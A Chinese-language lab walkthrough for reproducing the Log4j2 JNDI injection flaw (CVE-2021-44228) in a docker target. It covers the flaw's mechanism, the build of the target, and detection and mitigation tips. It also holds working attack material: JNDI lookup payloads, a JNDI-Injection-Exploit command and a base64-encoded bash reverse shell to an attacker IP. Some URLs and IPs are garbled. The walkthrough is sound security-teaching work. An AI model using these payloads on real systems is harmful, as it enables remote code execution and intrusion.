Log4j2远程代码执行漏洞(cve-2021-44228)复现笔记内容
Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
JNDI简单介绍
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
JNDI实现原理
JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。
格式 ${jndi:rmi:192.168.96.1:1099/wqiyua}
参考文章https://blog.csdn.net/weixin_46198176/article/details/124917641
原理概述
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp
解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找
在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
攻击者就可以通过shell实现任意的命令执行,造成严重危害
受影响版本
Apache Log4j 2.x <= 2.14.1
漏洞名称 | 漏洞名称 Apache Log4j 代码问题漏洞 |
---|---|
漏洞编号 | CVE-2021-44228 |
危害等级 | 严重 |
CVSS评分 | 10 |
漏洞类型 | 代码问题 |
查询网址:链接: http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202112-799.
https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query=CVE-2021-44228&search_type=all&isCpeNameSearch=false
Vulhub 搭建log4j漏洞环境
1.vulhub靶场下载地址: https://vulhub.org/#/docs/
2.使用docker搭建vulfocus的漏洞靶场
docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest
进入我们需要复现的漏洞靶场文件夹下,输入命令 : docker-compose up -d
**利用DNSlog验证漏洞存在
靶场启动成功后,浏览器访问:
通过DNSLog平台获取到域名nlhkzw.dnslog.cn,构造payload:${jndi:ldap://nlhkzw.dnslog.cn},浏览器点击???并使用Burpsuite进行抓包并替换payload参数,此时若直接发包会导致服务器400错误:
编码后再次发送请求包:
这里选用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下载JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,下载地址为https://github.com/bkfish/Apache-Log4j-Learning/tree/main
应用工具JNDI-Injection-Exploit搭建服务:格式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “ip(攻击机)”
这里的命令是想要靶机运行的命令,-A后放的是发出攻击的电脑的ip,也是存放-C后“命令”的ip地址。
接下来要实现反弹shell,可以用命令
bash -i >& /dev/tcp/ip/port 0>&1
注意“命令”必须经过编码,不然将无法实现
在漏洞已经存在的情况下,构造攻击payload执行命令反弹shell
设置监听端口
在vps中打开一个页面,监听我们的对应的端口。
执行EXP,生成可用的payload
编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}” -A 192.168.109.128
使用burpsuit抓包,替换payloadrmi://192.168.109.128:1099/xz4mwn 到Burpsuite:
将payload进行url编码并发包
1.环境安装时总遇到问题
2.打开DNSlog.cn网站时遇到很多问题
3.使用burp抓包与发包时遇到问题
1.可以通过检查日志中是否存在"jndi:ldap://"、"jndi:rmi"等字符来发现可能的攻击行为
2.pom版本检查
3.各种安全产品
1.设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。由于Java RMI,的实现依赖于JVM,所以可以通过调用JVM来修改。
2.设置log4j2.formatMsgNoLookups=True。
3.采用waf对请求流量中的${jndi进行拦截。通过对拦截JNDI语句来防止JNDI注入。
4.禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、ICMP。
升级到最新的安全版本:log4j-2.15.0-rc2。Apache Log4j2 官方已经发布了解决上述漏洞的安全更新,建议尽快升级到安全版本。